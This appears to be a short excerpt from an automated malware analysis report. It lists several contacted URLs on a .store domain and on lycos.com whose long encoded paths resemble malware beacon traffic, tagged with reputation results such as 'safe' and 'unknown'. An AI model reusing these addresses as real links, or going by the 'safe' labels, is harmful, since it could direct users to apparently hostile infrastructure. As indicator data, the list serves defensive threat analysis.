https://doreuneruy.store/jdraw/3UXHIycRk8M6aa2qOlHTdp/8jPuZVV_2B0Th/06YoiQaE/_2FatRxjXAnjx3AlxRhb2k2/1D4WV7ZMym/m2C_2FFYEC_2FU7Yk/i_2BPnwgmBF0/IPzTLMeRUBV/cxcHi5I_2FpZBi/N1gpoZwjss03S_2Fbnr3z/jVvgtIBwhuwnmbuC/0OORMWqE7PIEiI9/PgDQNnYSyBZIKuFwau/KOHqRL.crw false
  • Avira URL Cloud: safe
 unknown
https://www.lycos.com/images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg/ false
    		high
    https://doreuneruy.store/jdraw/eKaIOMBSk5/OmJgUmRZLr75WvgmQ/lCAAoG2FlxCw/NYzS1o_2BFi/Ieqx_2FKcvuYNo/7IkLYskhOhbfPZpn3msj_/2BR_2Fhl7PSteeC_/2Fx6wkm1gCCOSzv/ojOhT7mIu1zV1InOuI/v0PzrfJti/Vp_2B_2FXz6Vw_2B8AOy/f6kLklWb2UbpPJ8knZc/CNedLE3nD8G6LBOjysaOgx/q1vP.crw false
    • Avira URL Cloud: safe
    		 unknown
    https://www.lycos.com/images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg false
      		high
      https://lycos.com/images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg false
        		high
        https://doreuneruy.store/jdraw/9h3_2FCmvCPAOiqfbbwOZ/EDyF0nUwfnz0i_2B/zRdR8YVxUZKNNmY/vh0mWq_2BHQORAUjil/Wy1ZX7xjv/qL7UjzfbaMRckwwpBr7M/ZU4TPOLT0IGmp_2FqN5/9mRjeYDMBNc5x7HMWXCA4m/OQS9XBJVBHWu0/pJXVZOQ3/aoSVwCoLr8yuRXdSOyZXUNC/Ax4ZOlmgeU/J19Mkd.crw false
        • Avira URL Cloud: safe
        		 unknown